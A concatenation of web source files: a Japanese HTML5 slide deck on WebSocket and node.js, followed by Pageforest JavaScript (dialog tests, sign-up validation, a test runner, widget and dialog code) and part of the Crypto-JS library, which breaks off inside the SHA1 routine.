M_Ishikawa
<br>
2012-03-02
</p>
</article>
<article>
<h3>
M_Ishikawaの得意技
</h3>
<ul class="build">
<li>
音楽
</li>
<ul class="build">
<li>
楽器:Drums, Guitar, Bass, Perc, Tp, Tb, Vi, etc...
</li>
<li>
製作:Recording, Mixing(Cubase), Mastering(Wavelab), etc...
</li>
</ul>
<li>
その他
</li>
<ul class="build">
<li>
Dreamweaverでコード書く
</li>
<li>
Illustrator、Fireworks使い
</li>
<li>
起業して失敗した(NPO法人)
</li>
<li>
障害者ボランティア経験
</li>
</ul>
</ul>
</article>
<article>
<h1>
以上<br />
「石川の得意技」でした。
</h1>
<div class="build">
<p>
時間がまりましたので、引き続きまして
</p>
</div>
</article>
<article>
<h1>
WebSocket...
<br>
いったいなにができるの?
</h1>
<p>
M_Ishikawa
<br>
2012-03-02
</p>
</article>
<article>
<h3>
WebSocketとは
</h3>
<p>
HTML5のAPIのひとつです。<br />
</p>
<small>
WebSocket, IndexedDB, FileAPI, などなどたくさん。<br />
(デブサミ2012で白石さんと発表してきました。)
</small>
<p>
</p>
<iframe src='http://gori.me/it/14023'></iframe>
</article>
<article class='fill'>
<iframe src='http://gori.me/it/14012'></iframe>
</article>
<article>
<h3>
「ノンブロッキングI/O」を実現!<br />
</h3>
<small>
ノンブロッキングI/Oとは、データの送受信(I/O)が完了を待たずに、他の処理を開始する処理方式のことです。非同期で処理が並列に実行されるため、ある処理の完了を待って、次の処理を行いたい場合は、コールバックを使用する必要があります。
</small>
<p> </p>
<section>
socket.ioの例
<pre>
io.set('transports', [
'websocket'
, 'flashsocket'
, 'htmlfile'
, 'xhr-polling'
, 'jsonp-polling'
]);
</pre>
</section>
</article>
<article class='fill'>
<h3>
このプレゼンツール、<br />node.js+WebSocket(socket.io) でできてます。
</h3>
<p>
<img src='/images/example-cat.jpg'>
</p>
<div class='source white'>
Source: <NAME>
</div>
</article>
<article>
<h3>node.js</h3>
<ul>
<li>express - MVCフレームワーク
<li>ejs - テンプレートエンジン
<li>socket.io - WebSocketを <u><strong>簡単に</strong></u> 扱う
<li>forever - デーモンに
<li>mongoose - mongoDB インタフェース
<li>mysql - mysql インタフェース
<li>http proxy - リバースプロキシ
</ul>
etc...
</article>
<article>
さらに、このプレゼンツールは今回のLTのために作りましたが、実は
<h3 >HTML5 Slides</h3>
というGoogle性のオープンソースを改造しました。
<ul>
<li>ライブ編集機能!
<li>リモート機能!
</ul>
<h2>デモやるよ</h2>
</article>
<article>
<p>ソースはエンジニアのSNS、GitHubにおいてます。
<p><a href="https://github.com/ishikawam/html5slides">https://github.com/ishikawam/html5slides</a>
<p>
<p>閲覧は
<p><a href="http://osae.me:3000">http://osae.me:3000</a>
<p>リモートコントロールは
<p><a href="http://osae.me:3000/panel.html">http://osae.me:3000/panel.html</a>
<p>編集は
<p><a href="http://osae.me:3000/edit.html">http://osae.me:3000/edit.html</a>
</article>
<article>
結論
<q>
node.js楽しい
</q>
<q>
WebSocket楽しい
</q>
<q>
GitHub楽しい
</q>
<div class='author'>
<NAME>
</div>
</article>
<article>
<h2>
以上、<br />ご清聴ありがとうございました(・∀・)
</h2>
</article><file_sep>namespace.lookup('org.startpad.dialog.test').defineOnce(function (ns) {
var util = namespace.util;
var dialog = namespace.lookup('org.startpad.dialog');
var dom = namespace.lookup('org.startpad.dom');
var vector = namespace.lookup('org.startpad.vector');
var loader = namespace.lookup('org.startpad.loader');
ns.addTests = function (ts) {
function redBox(rc) {
if (true) {
return;
}
var box = document.createElement('div');
box.style.backgroundColor = 'red';
box.style.border = '1px solid green';
box.style.opacity = 0.5;
box.style.position = 'absolute';
dom.setRect(box, rc);
document.body.appendChild(box);
}
var divStage = document.getElementById('stage');
ts.addTest("style sheet", function(ut) {
loader.loadStylesheet('../../css/dialog.css');
// Don't know how to detect if stylesheet is loaded -
// just give it 1 second.
function loaded() {
ut.assert(true);
ut.async(false);
}
setTimeout(loaded, 1000);
}).async();
ts.addTest("Dialog fields", function(ut) {
var dlg = new dialog.Dialog({
fields: [
{name: 'message', type: 'message'},
{name: 'default'},
{name: 'text', type: 'text'},
{name: 'check', type: 'checkbox'},
{name: 'value', type: 'value'},
{name: '<PASSWORD>', type: '<PASSWORD>'},
{name: 'note', type: 'note'},
{name: 'button', type: 'button'}
]
});
var div = document.createElement('div');
div.innerHTML = dlg.html();
var divDialog = div.firstChild;
divDialog.style.border = "2px solid black";
divDialog.style.margin = "5px";
divDialog.style.padding = "5px";
divStage.appendChild(div);
var values = {
'default': 'default string',
'message': "Hello, World!",
'text': 'text string',
'check': true,
'value': 'value string',
'password': '<PASSWORD>',
'note': "this is a long\nnote"
};
dlg.setValues(values);
dlg.setFocus();
ut.assertEq(dlg.focus, 'default');
var v2 = dlg.getValues();
var rcDialog = dom.getRect(divDialog);
redBox(rcDialog);
for (var i = 0; i < dlg.fields.length; i++) {
var field = dlg.fields[i];
var name = field.name;
ut.trace(name);
var elt = field.elt;
var rcField = dom.getRect(elt);
ut.assertEq(values[name], v2[name]);
redBox(rcField);
ut.assert(vector.ptInRect(vector.ul(rcField), rcDialog) &&
vector.ptInRect(vector.lr(rcField), rcDialog),
"outside of dialog");
}
ts.coverage.cover('Dialog:enableField');
}).require('document');
}; // addTests
}); // org.startpad.dialog.test
<file_sep>namespace.lookup('com.pageforest.auth.profile').define(function(ns) {
var cookies = namespace.lookup('org.startpad.cookies');
var crypto = namespace.lookup('com.googlecode.crypto-js');
var forms = namespace.lookup('com.pageforest.forms');
function validatePassword() {
var password = $("#id_password").val();
var repeat = $("#id_repeat").val();
if (!password.length) {
return {password: "This field is required."};
}
if (password.length < 6) {
return {password:
"Ensure this value has at least 6 characters (it has " +
password.length + ")."};
}
if (password != repeat) {
return {repeat: "Password and repeat are not the same."};
}
return false;
}
function onValidate(message, status, xhr, options) {
// Validate password fields on the client side.
var passwordErrors = validatePassword();
for (var error in passwordErrors) {
if (passwordErrors.hasOwnProperty(error)) {
message[error] = passwordErrors[error];
}
}
var fields = ['username', 'password', 'repeat', 'email'];
if (!options || !options.ignoreEmpty) {
fields.push('tos');
}
forms.showValidatorResults(fields, message, options);
}
function onValidateIgnoreEmpty(message, status, xhr) {
onValidate(message, status, xhr, {ignoreEmpty: true});
}
function onSuccess(message, status, xhr) {
window.location = '/sign-in/';
}
function onError(xhr, status, message) {
console.error(xhr);
}
function getFormData() {
var username = $("#id_username").val();
var lower = username.toLowerCase();
var password = $("#id_password").val();
return {
username: username,
password: crypto.HMAC(crypto.SHA1, lower, password),
email: $("#id_email").val(),
tos: $("#id_tos").attr('checked') ? 'checked' : ''
};
}
function isChanged() {
var username = $("#id_username").val();
var password = $("#id_password").val();
var repeat = $("#id_repeat").val();
var email = $("#id_email").val();
var oneline = [username, password, repeat, email].join('|');
if (oneline == ns.previous) {
return false;
}
ns.previous = oneline;
return true;
}
function validateIfChanged() {
if (!isChanged()) {
return;
}
var data = getFormData();
data.validate = true;
forms.postFormData('/sign-up/', data,
null, onValidateIgnoreEmpty, onError);
}
function onSubmit() {
var errors = validatePassword();
if (errors) {
forms.showValidatorResults(['password', 'repeat'], errors);
} else {
forms.postFormData('/sign-up/', getFormData(),
onSuccess, onValidate, onError);
}
return false;
}
// Request a new email verification for the signed in user.
function resend() {
console.log("resend");
$.ajax({
type: "POST",
url: "/email-verify/",
data: {resend: true},
dataType: "json",
success: function() {
$('span#result').css('color', '#0A0')
.html("A new verification email was sent.");
},
error: function() {
$('span#result').css('color', '#F00')
.html("Sorry, please try again later.");
}
});
return false;
}
function onReady() {
// Hide message about missing JavaScript.
$('#enablejs').hide();
$('input').removeAttr('disabled');
// Show message about missing HttpOnly support.
if (cookies.getCookie('httponly')) {
$('#httponly').show();
}
// Initialize ns.previous to track input changes.
isChanged();
// Validate in the background
setInterval(validateIfChanged, 1000);
$('#id_tos').click(function() {
$('#validate_tos').html('');
});
}
ns.extend({
onReady: onReady,
onSubmit: onSubmit,
resend: resend
});
}); // com.pageforest.auth.sign-up
<file_sep>/*jslint rhino:true */
load("../namespace.js");
load("modules.js");
load("../base.js");
load("../unit.js");
load("../timer.js");
load("../format.js");
(function(a) {
var unit = namespace.lookup('org.startpad.unit');
var base = namespace.lookup('org.startpad.base');
var modules = namespace.lookup('com.pageforest.modules');
var cTests = 0;
var cFailures = 0;
var msStart;
var fQuiet = false;
function msNow() {
var d = new Date();
return d.getTime();
}
function secs(ms) {
return (ms / 1000).toString();
}
function ensureNamespaceLoaded(name) {
// FIXME: Need to load all module dependencies
// Use loader functions customized for Rhino
var targetNamespace = namespace.lookup(name);
if (!targetNamespace._isDefined) {
var fileName = modules.locations[name];
// BUG: Rhino does not all catching this error in a try block?
load(fileName);
}
return targetNamespace;
}
msStart = msNow();
if (a.length < 1) {
print("Usage: test-runner-cl.js [-q] [-a] module ...");
print("-q: quiet mode - print only final summary.");
print("-a: all - run all test");
quit(1);
}
for (var index = 0; index < a.length; index++) {
var target = a[index];
if (target.indexOf('-') === 0) {
var option = target.substr(1);
switch (option) {
case 'a':
a = a.concat(base.keys(modules.namespaces));
break;
case 'q':
fQuiet = true;
break;
default:
print("Unsupported option: " + target);
quit(1);
}
continue;
}
var targetNamespace = modules.namespaces[target];
ensureNamespaceLoaded(targetNamespace);
var testNamespace = targetNamespace + '.test';
var testModule = ensureNamespaceLoaded(testNamespace);
if (typeof testModule.addTests == 'undefined') {
print("Failed to load module " + testNamespace);
cFailures++;
continue;
}
var ts = new unit.TestSuite(testNamespace);
ts.fQuiet = fQuiet;
testModule.addTests(ts);
ts.addCoverage(targetNamespace);
ts.run();
cTests += ts.rgut.length;
cFailures += ts.cFailures;
}
print("Ran " + cTests + " tests in " + secs(msNow() - msStart) + 's' +
(cFailures != 0 ? " with " + cFailures + " errors." : ""));
if (cFailures) {
quit(1);
}
}(arguments));
<file_sep>namespace.lookup('com.pageforest.modules').defineOnce(function (ns) {
var modules = {
'org.startpad': ['namespace', 'base', 'unit', 'timer', 'vector',
'format', 'cookies', 'dialog', 'dom'],
'com.pageforest.auth': ['sign-up', 'sign-in']
};
// Produce a file map of files, relative to tests directory where each
// module can be found. Key are namespaces like:
// - org.startpad.base
// - org.startpad.base.test
ns.locations = {};
// Map module basenames to full namespace names.
ns.namespaces = {};
for (var root in modules) {
if (modules.hasOwnProperty(root)) {
for (var i = 0; i < modules[root].length; i++) {
var module = modules[root][i];
var name = root + '.' + module;
ns.namespaces[module] = name;
ns.locations[name] = '../' + module + '.js';
ns.locations[name + '.test'] = 'test-' + module + '.js';
}
}
}
});
<file_sep>// Pageforest.js
// TODO: Protect against multiple inclusions of this file - conditional loading.
PF.Extend(PF, {
optionsDefault: {color: "green"}, // Default options - used if none supplied by application
tokens: { // String constants
idWidget: "PF_Widget",
classTopbar: "PF_topbar",
idHistWidget: "PF_SaveHistory",
stWidget: '<div class="PF_savebar"><div class="PF_left"></div><div class="PF_center">'+
'<div class="logo"></div>' +
'<a href="#" onclick="PF.Save();">Save</a> ' +
'<a href="#" onclick="PF.SignIn();">Sign In</a> ' +
'<a href="#" onclick="PF.Help();">Help?</a> ' +
'</div><div class="PF_right"></div></div>'
},
stMsg: { // Error messages
errInstall: "Widget installation error: ",
errCon: "Incorrectly defined application constructor.",
errAppName: "Application constructor must be globally named.",
errNotImp: "Missing implementation for function: ",
errSigned: "Developer user name missing.",
errAnonFunc: "Anonymous function can not be reloaded properly - use PF.NameFunctions",
errDeriveSelf: "Error - cannot derive from self"
},
apps: [],
Register: function(app, optRegister)
{
// Add to list of installed applications
this.apps.push(app);
var options = {};
PF.Extend(options, PF.optionsDefault, PF.options, optRegister);
PF.options = options;
console.log("PF.options=", PF.options);
// TODO: Maybe I should relax this test and use ExtendIfMissing instead.
if (app.constructor == Object || typeof app.constructor != "function")
throw(new Error(PF.stMsg.errCon));
if (PF.FunctionName(app.constructor) == "PF.AnonFunction")
throw(new Error(PF.stMsg.errAppName));
app.constructor.DeriveFrom(PF.App);
app.__ds = new PF.DocState(app, options);
console.log("Application Registered");
this.InstallWidget(app);
},
// TODO: Rename "widget" to "AppBar" throughout
InstallWidget: function(app)
{
if (this.fWidgetInstalled)
return;
this.fWidgetInstalled = true;
var divWidget = document.createElement("div");
divWidget.id = PF.tokens.idWidget;
divWidget.className = PF.tokens.classTopbar;
document.body.appendChild(divWidget);
divWidget.innerHTML = PF.tokens.stWidget;
},
Save: function()
{
// TODO: Enable multi-application save
PF.apps[0].Save();
},
Reload: function()
{
// TODO: multi-application load
PF.apps[0].__ds.InitLoad();
},
// Dfaut id loader: #user_id or #user_slug
// URL options:
// #user_id: default (multiple documents per user)
// #user: for single instance per user applications
// #slug: for application global (Wiki case)
GetURLInfo: function()
{
if (window.location.hash == "")
return null;
var rgDID = window.location.hash.match(/[#](.*)_(.*)/);
if (!rgDID)
return null;
return {user:rgDID[1], did: rgDID[2]};
},
SetLoadId: function(info)
{
window.location.hash = info.user + "_" + info.did;
},
ReportError: function(st)
{
// BUG: Incorporate into PF UI
alert("Error: " + st);
},
StatusMessage: function(st)
{
// TODO: Proper UI for status messages
alert("Pageforest: " + st);
}
}); // PF.Extend()
// Default implementations of App required methods
// Constructor never called - since we in-place Derive the user's app object during Register.
PF.App = function() {};
PF.App.prototype = {
constructor: PF.App,
// Methods typically overridden:
// GetTitle, GetDescription, GetSaveObject, LoadFromObject
GetTitle: function()
{
return document.title;
},
GetDescription: function()
{
// Get Meta Description if any.
},
// Load Sequence:
// app.GetURLInfo() -> {user, did}
// Cmd:Get -> obj
// app.LoadFromObject(obj) -> app
// app.PostLoad()
LoadFromObject: function (obj)
{
return obj;
},
// Called after application has been loaded
PostLoad: function()
{
},
// Returns {user:, did:}
GetURLInfo: function()
{
return PF.GetURLInfo();
},
// Save Sequence:
// (initiated by Save Widget, or call to app.Save())
// app.PreSave()
// app.GetSaveObject() -> obj
// Cmd:Save(obj)
// app.PostSave(info) - save version etc.
Save: function()
{
this.__ds.Save();
},
// Called just before saving the state of the application
PreSave: function()
{
},
// Return the object which is to be saved
GetSaveObject: function ()
{
return this;
},
// Called after save is complete
PostSave: function(info)
{
PF.SetLoadId(info);
}
}; // PF.App
// PageForest dialog
// Useage:
// var db = new PF.DialogBox();
// db.Init({title:,fields:,fieldsBottom:,buttons:}, fnCallback);
// db.Show(true);
// -> fnCallback(options) (fields have .value properties added)
PF.DialogBox = function()
{
var stHTML =
'<div class="pf-pos"><div class="pf-box top"></div><div class="pf-box middle"></div><div class="pf-box bottom">'+
'<div></div><div class="pf-buttons"></div><div class="pf-stem"></div></div></div>';
// Background for lightbox transparency
this.divScreen = document.createElement("div");
this.divScreen.className = "pf-screen";
document.body.appendChild(this.divScreen);
// Containing div for clipping to window
this.divClip = document.createElement("div");
this.divClip.className = "pf-clip";
this.divClip.innerHTML = stHTML;
this.divPos = this.divClip.childNodes[0];
this.divTop = this.divPos.childNodes[0];
this.divMiddle = this.divPos.childNodes[1];
this.divBottom = this.divPos.childNodes[2].childNodes[0];
this.divButtons = this.divPos.childNodes[2].childNodes[1];
this.divStem = this.divPos.childNodes[2].childNodes[2];
document.body.appendChild(this.divClip);
this.fShow = false;
// Relative to top of box
this.rcClose = [302, 11, 310, 19];
};
PF.DialogBox.prototype = {
constructor: PF.DialogBox,
tokens: {
required: " is required.",
idPre: "PF_DB"
},
errors: [],
optionsDefault: {
title: "Save Page / Create Account",
focus: "user",
enter: "save",
message: "message",
fields: {
message:{hidden: true, value:"Your message here", type: 'message'},
user:{label: "Username", type: 'text', required:true},
pass:{label: "<PASSWORD>", type: '<PASSWORD>', required:true},
email:{label: "Email", type: 'text'},
comments:{label: "Page Comments", type: 'note'}
},
fieldsBottom: {
captcha:{type: "captcha", required:true, labelShort:"Proof of Humanity"},
tos:{label: 'I agree to the <a tabindex="-1" href="/terms-of-service">Terms of Service</a>',
type: "checkbox", required:true, labelShort:"Terms of Service"}
},
buttons: {
save:{label: "Save", type: 'button'}
}
},
htmlPatterns: {
title: '<h1>{title}</h1>',
text: '<label>{label}:</label><input id="PF_DB{n}" type="text" value="{value}"/>',
password: '<label>{label}:</label><input id="PF_DB{n}" type="password"/>',
checkbox: '<label class="checkbox" for="PF_cb{n}"><input id="PF_DB{n}" type="checkbox"/>{label}</label>',
note: '<label>{label}:</label><textarea id="PF_DB{n}" rows="5">{value}</textarea>',
captcha: '<label>What does {q} =<input id="PF_DB{n}" type="text"/></label>',
message: '<span id="PF_DB{n}">{value}</span>',
button: '<input type="button" value="{label}" onclick="PF.DialogBox.ButtonClick(\'{name}\');"/>'
},
Init: function (options)
{
if (this.fShow)
throw Error("Cannot re-initialize dialog box while modal dialog dispayed.");
this.options = {};
PF.ExtendCopy(this.options, this.optionsDefault, options);
this.ifld = 0;
this.InitDiv(this.divTop, [{type: 'title', title:this.options.title}]);
this.InitDiv(this.divMiddle, this.options.fields);
this.InitDiv(this.divBottom, this.options.fieldsBottom);
this.InitDiv(this.divButtons, this.options.buttons);
console.log(this.divClip.innerHTML);
this.InitFields(this.options.fields);
this.InitFields(this.options.fieldsBottom);
this.ResizeBox(true);
},
// Size the Middle section to fit the elements within it
ResizeBox: function(fHidden)
{
if (fHidden)
{
this.divClip.style.visibility = "hidden";
this.divClip.style.display = "block";
}
var elt = this.divMiddle.lastChild;
var ptMid = PF.DOM.PtClient(this.divMiddle);
var ptElt = PF.DOM.PtClient(elt);
this.dyMiddle = ptElt[1] - ptMid[1] + elt.offsetHeight + 4;
this.divMiddle.style.height = this.dyMiddle + "px";
if (fHidden)
{
this.divClip.style.display = "none";
this.divClip.style.visibility = "visible";
}
},
// Additional field initialization after builing HTML for the form
InitFields: function(fields)
{
for (var prop in fields)
{
var fld = this.GetField(prop);
// Hide any "hidden" fields
if (fld.hidden)
fld.elt.style.display = "none";
}
},
InitDiv: function(div, fields, fResize)
{
var stb = new PF.StBuf();
for (var prop in fields)
{
var fld = fields[prop];
fld.n = this.ifld++;
var keys = {q:"2+2", name:prop};
PF.Extend(keys, fld);
stb.Append(PF.ReplaceKeys(this.htmlPatterns[fld.type], keys));
}
div.innerHTML = stb.toString();
},
FieldError: function(fld, stError)
{
this.errors.push({fld:fld, error:stError});
},
ExtractValues: function(fields)
{
for (var prop in fields)
{
var fld = this.GetField(prop);
if (!fld.elt)
continue;
switch (fld.elt.tagName.toLowerCase())
{
case "input":
if (fld.elt.type == "checkbox")
{
fld.value = fld.elt.checked;
if (fld.required && !fld.value)
this.FieldError(fld, (fld.labelShort || fld.label) + this.tokens.required);
}
else
{
fld.value = fld.elt.value.Trim();
if (fld.required && fld.value.length == 0)
this.FieldError(fld, (fld.labelShort || fld.label) + this.tokens.required);
}
break;
case "textarea":
fld.value = fld.elt.value.Trim();
break;
}
}
},
Show: function(fShow, fnCallback)
{
if (this.fShow == fShow)
return;
this.fShow = fShow;
var rcWindow = PF.DOM.RcWindow();
if (fShow)
{
this.fnCallback = fnCallback;
// Need to display box in order to get measurements
// TODO: move offscreen to the left first?
//PF.DOM.SetRc(this.divClip, rcWindow);
// Position it in the center/top third of the window
var rcBox = [0, 0, 328, 38 + this.dyMiddle + 141];
var scale = [0.5, 0.33];
var ptWindow = PF.Vector.PtCenter(rcWindow, scale);
this.ptPos = PF.Vector.PtCenter(rcBox, scale);
this.ptPos = PF.Vector.Max([0, 0], PF.Vector.Sub(ptWindow, this.ptPos));
// Show off screen and then slide to final position
this.SlideIn(rcWindow[2]);
this.divScreen.style.display = this.divClip.style.display = "block";
this.slew = new PF.Slew({start: rcWindow[2], end: this.ptPos[0], vMax: 800});
this.slew.Start(this.SlideIn.FnMethod(this));
// Dialog is modal - capture all events
this.ifn = [];
this.ifn.push(PF.AddEventFn(window, "mousedown", this.MouseDown.FnMethod(this)));
this.ifn.push(PF.AddEventFn(window, "mouseup", this.MouseUp.FnMethod(this)));
this.ifn.push(PF.AddEventFn(window, "mousemove", this.MouseMove.FnMethod(this)));
this.ifn.push(PF.AddEventFn(window, "resize", this.ResizeWindow.FnMethod(this)));
this.ifn.push(PF.AddEventFn(window, "keydown", this.KeyDown.FnMethod(this)));
this.ifn.push(PF.AddEventFn(window, "focus", this.Focus.FnMethod(this), true));
// Set global variable for receiving button click (assumes one dialog is active)
PF.DialogBox.ButtonClick = this.ButtonClick.FnMethod(this);
}
else
{
for (var i = 0; i < this.ifn.length; i++)
PF.RemoveEventFn(this.ifn[i]);
this.CancelMove();
PF.DialogBox.ButtonClick = undefined;
this.slew = new PF.Slew({start: this.ptBoxLast[0], end: rcWindow[2], vMax: 800});
this.slew.Start(this.SlideOut.FnMethod(this));
}
},
ButtonClick: function(stButton)
{
this.errors = [];
this.ExtractValues(this.options.fields);
this.ExtractValues(this.options.fieldsBottom);
if (this.errors.length > 0)
{
if (this.options.message)
{
var fld = this.GetField(this.options.message);
fld.elt.firstChild.nodeValue = this.errors[0].error;
fld.elt.style.display = "block";
}
else
alert(this.errors[0].error);
this.errors[0].fld.elt.focus();
this.errors[0].fld.elt.select();
this.ResizeBox();
return;
}
if (this.fnCallback)
{
var fields = {button:stButton};
PF.Extend(fields, this.options.fields, this.options.fieldsBottom);
this.fnCallback(fields);
}
this.Show(false);
},
GetField: function(stName)
{
var fld = this.options.fields[stName];
if (!fld)
fld = this.options.fieldsBottom[stName];
if (fld)
fld.elt = document.getElementById(this.tokens.idPre + fld.n);
return fld;
},
SlideIn: function(x, fFinal)
{
this.SetPosition([x, this.ptPos[1]]);
if (fFinal && this.options.focus)
{
var fld = this.GetField(this.options.focus);
if (fld)
{
fld.elt.focus();
fld.elt.select();
}
}
},
SlideOut: function(x, fFinal)
{
this.SetPosition([x, this.ptBoxLast[1]]);
if (fFinal)
this.divScreen.style.display = this.divClip.style.display = "none";
},
MouseDown: function(evt)
{
var ptMouse = PF.DOM.PtMouse(evt);
// Click in the title bar - to start dragging
if (PF.Vector.PtInRect(ptMouse, this.rcTitle))
{
this.ptMouseDown = ptMouse;
this.ptInitDrag = PF.Vector.UL(this.rcTitle);
var ptRel = PF.Vector.Sub(this.ptMouseDown, this.rcTitle);
// Handle close box
if (PF.Vector.PtInRect(ptRel, this.rcClose))
this.Show(false);
evt.preventDefault();
return false;
}
// Allow clicks inside the dialog - but not static text selection
if (PF.Vector.PtInRect(ptMouse, this.rcDialog))
{
switch (evt.target.tagName.toLowerCase())
{
// BUG: Can STILL drag from checkbox label to select text!
case "label":
if (evt.target.className.toLowerCase() != "checkbox")
break;
case "input":
case "textarea":
return true;
}
evt.preventDefault();
return false;
}
// Dialog is modal - don't process click outside of it
evt.preventDefault();
return false;
},
MouseUp: function(evt)
{
this.CancelMove();
},
Focus: function(evt)
{
this.hasFocus = evt.target;
},
KeyDown: function(evt)
{
if (evt.keyCode == 27)
{
this.Show(false);
evt.preventDefault();
}
// Hit the OK button on Enter - unless we have a textarea selected
if (evt.keyCode == 13 && this.options.enter &&
this.hasFocus && this.hasFocus.tagName.toLowerCase() != "textarea")
{
this.ButtonClick(this.options.enter);
evt.preventDefault();
}
},
MouseMove: function(evt)
{
var ptMouse = PF.DOM.PtMouse(evt);
if (this.ptMouseDown)
{
var ptDiff = PF.Vector.Sub(ptMouse, this.ptMouseDown);
PF.Vector.AddTo(ptDiff, this.ptInitDrag);
this.SetPosition(ptDiff);
return;
}
var ptRel = PF.Vector.Sub(ptMouse, this.rcTitle);
if (PF.Vector.PtInRect(ptRel, this.rcClose))
this.divTop.style.cursor = "pointer";
else
this.divTop.style.cursor = "move";
evt.preventDefault();
},
CancelMove: function()
{
this.ptMouseDown = undefined;
},
SetPosition: function(ptBox)
{
this.ptBoxLast = ptBox;
PF.DOM.SetAbsPosition(this.divPos, ptBox);
// Note: Due to FF bug - we don't make top div overflow:hidden and shrink it
// as a consequence, the window can scroll when the the dialog moves from
// offscreen to onscreen.
// Size the stem to the RHS of the window
var rcWindow = PF.DOM.RcWindow();
// Stem will be a bit bigger than needed - but clipped to outer box anyway
this.divStem.style.width = (rcWindow[2] - ptBox[0] - 328) + 'px';
// Absolute document client coordinates
this.rcTitle = PF.DOM.RcClient(this.divTop);
this.rcDialog = PF.Vector.BoundingBox(PF.DOM.RcClient(this.divMiddle),
PF.DOM.RcClient(this.divButtons));
},
ResizeWindow: function()
{
if (this.fShow)
this.SetPosition(this.ptBoxLast);
}
};
<file_sep>/*
* Crypto-JS trunk (r291)
* http://code.google.com/p/crypto-js/
* Copyright (c) 2009, <NAME>. All rights reserved.
* http://code.google.com/p/crypto-js/wiki/License
*/
//////////////////////////////// Crypto.js ////////////////////////////////
(function () {
/* Global crypto object
---------------------------------------------------------------------------- */
var C = namespace.lookup('com.googlecode.crypto-js');
/* Types
---------------------------------------------------------------------------- */
var types = C.types = {};
/* Word arrays
------------------------------------------------------------- */
var WordArray = types.WordArray = {
// Get significant bytes
getSigBytes: function (words) {
if (words["_Crypto"] && words["_Crypto"].sigBytes != undefined) {
return words["_Crypto"].sigBytes;
} else {
return words.length * 4;
}
},
// Set significant bytes
setSigBytes: function (words, n) {
words["_Crypto"] = { sigBytes: n };
},
// Concatenate word arrays
cat: function (w1, w2) {
return ByteStr.decode(ByteStr.encode(w1) + ByteStr.encode(w2));
}
};
/* Encodings
---------------------------------------------------------------------------- */
var enc = C.enc = {};
/* Byte strings
------------------------------------------------------------- */
var ByteStr = enc.ByteStr = {
encode: function (words) {
var sigBytes = WordArray.getSigBytes(words);
var str = [];
for (var i = 0; i < sigBytes; i++) {
str.push(String.fromCharCode((words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xFF));
}
return str.join("");
},
decode: function (str) {
var words = [];
for (var i = 0; i < str.length; i++) {
words[i >>> 2] |= str.charCodeAt(i) << (24 - (i % 4) * 8);
}
WordArray.setSigBytes(words, str.length);
return words;
}
};
/* UTF8 strings
------------------------------------------------------------- */
enc.UTF8 = {
encode: function (words) {
return decodeURIComponent(escape(ByteStr.encode(words)));
},
decode: function (str) {
return ByteStr.decode(unescape(encodeURIComponent(str)));
}
};
/* Word arrays
------------------------------------------------------------- */
enc.Words = {
encode: function (words) { return words; },
decode: function (words) { return words; }
};
})();
//////////////////////////////// Hex.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var WordArray = C.types.WordArray;
C.enc.Hex = {
encode: function (words) {
var sigBytes = WordArray.getSigBytes(words);
var hex = [];
for (var i = 0; i < sigBytes; i++) {
var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xFF;
hex.push((bite >>> 4).toString(16));
hex.push((bite & 0xF).toString(16));
}
return hex.join("");
},
decode: function (hex) {
var words = [];
for (var i = 0; i < hex.length; i += 2) {
words[i >>> 3] |= parseInt(hex.substr(i, 2), 16) << (24 - (i % 8) * 4);
}
WordArray.setSigBytes(words, hex.length / 2);
return words;
}
};
})();
//////////////////////////////// Base64.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var WordArray = C.types.WordArray;
// Base-64 encoding map
var b64map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
C.enc.Base64 = {
encode: function (words) {
var sigBytes = WordArray.getSigBytes(words);
var b64str = [];
for(var i = 0; i < sigBytes; i += 3) {
var triplet = (((words[(i ) >>> 2] >>> (24 - ((i ) % 4) * 8)) & 0xFF) << 16) |
(((words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xFF) << 8) |
( (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xFF);
for (var j = 0; j < 4; j++) {
if (i + j * 0.75 <= sigBytes) {
b64str.push(b64map.charAt((triplet >>> (6 * (3 - j))) & 0x3F));
} else {
b64str.push("=");
}
}
}
return b64str.join("");
},
decode: function (b64str) {
// Remove padding
b64str = b64str.replace(/=+$/, "");
var words = [];
for (var i = 0, bites = 0; i < b64str.length; i++) {
if (i % 4) {
words[bites >>> 2] |= (((b64map.indexOf(b64str.charAt(i - 1)) << ((i % 4) * 2)) |
(b64map.indexOf(b64str.charAt(i)) >>> (6 - (i % 4) * 2))) & 0xFF) << (24 - (bites % 4) * 8);
bites++;
}
}
WordArray.setSigBytes(words, bites);
return words;
}
};
})();
//////////////////////////////// SHA1.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var UTF8 = C.enc.UTF8;
var WordArray = C.types.WordArray;
// Public API
var SHA1 = C.SHA1 = function (message, options) {
// Digest
var digestWords = SHA1.digest(message);
// Set default output
var output = options && options.output || C.enc.Hex;
// Return encoded output
return output.encode(digestWords);
};
// The core
SHA1.digest = function (message) {
// Convert to words, else assume words already
var m = message.constructor == String ? UTF8.decode(message) : message;
// Add padding
var l = WordArray.getSigBytes(m) * 8;
m[l >>> 5] |= 0x80 << (24 - l % 32);
m[(((l + 64) >>> 9) << 4) + 15] = l;
// Initial values
var w = [];
var H0 = 0x67452301;
var H1 = 0xEFCDAB89;
var H2 = 0x98BADCFE;
var H3 = 0x10325476;
var H4 = 0xC3D2E1F0;
for (var i = 0; i < m.length; i += 16) {
var a = H0;
var b = H1;
var c = H2;
var d = H3;
var e = H4;
for (var j = 0; j < 80; j++) {
if (j < 16) w[j] = m[i + j];
else {
var n = w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16];
w[j] = (n << 1) | (n >>> 31);
}
var t = ((H0 << 5) | (H0 >>> 27)) + H4 + (w[j] >>> 0) + (
j < 20 ? ((H1 & H2) | (~H1 & H3)) + 0x5A827999 :
j < 40 ? (H1 ^ H2 ^ H3) + 0x6ED9EBA1 :
j < 60 ? ((H1 & H2) | (H1 & H3) | (H2 & H3)) - 0x70E44324 :
(H1 ^ H2 ^ H3) - 0x359D3E2A);
H4 = H3;
H3 = H2;
